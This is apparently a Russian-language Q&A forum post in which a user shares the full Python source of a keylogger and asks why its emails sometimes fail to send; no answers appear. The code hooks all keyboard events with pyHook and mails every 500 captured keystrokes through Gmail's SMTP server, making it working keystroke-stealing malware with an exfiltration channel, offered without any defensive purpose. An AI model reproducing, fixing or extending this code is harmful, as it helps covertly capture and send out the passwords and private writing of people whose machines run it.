Почему мой маленький кейлоггер не отправляет некоторые электронные письма?

Я написал простой кейлоггер, который отправляет электронную почту каждые 500 нажатых клавиш. И это работает. Но это ненадежно, иногда письмо отправляется, а иногда нет. Допустим, я нажимаю клавишу 1500 раз, это должно быть 3 письма с 500 зарегистрированными ключами. Но я могу получить три электронных письма, два, один или ноль... В зависимости от того, что не получается... Глядя на этот код, не могли бы вы сказать, почему?

import smtplib
import pyHook
import pythoncom

class Keylogger:

    def __init__(self):
        self.keylog = ''

    def OnKeyboardEvent(self, event):
        self.keylog += str(event.Key)
        if len(self.keylog) >= 500:  # Check size of the keystrokes captured
            # MAIL STUFF
            self.send_email('smtp.gmail.com', 587, 'your@email.com', 'yourpass', '%Keylogger Dump%', self.keylog)
            self.keylog = ''  # Reset keylog to capture new keystrokes
        return True

    def send_email(self, server, port, email, password, subject, body):
        session = smtplib.SMTP(server, port)
        session.ehlo()
        session.starttls()
        session.ehlo()
        session.login(email, password)

        headers = [
            "From: " + email,
            "Subject: " + subject,
            "To: " + email,
            "MIME-Version: 1.0",
            "Content-Type: text/html"
        ]
        headers = "\r\n".join(headers)

        session.sendmail(email, email, headers + "\r\n\r\n" + body)
        session.close()

if __name__ == '__main__':
    # Entry Point
    hook_manager = pyHook.HookManager()     # Create a new hook manager
    hook_manager.KeyDown = Keylogger().OnKeyboardEvent  # Assign the keydown event to our custom method
    hook_manager.HookKeyboard()             # Hook the keyboard events
    pythoncom.PumpMessages()                # Run forever

0 ответов

Другие вопросы по тегам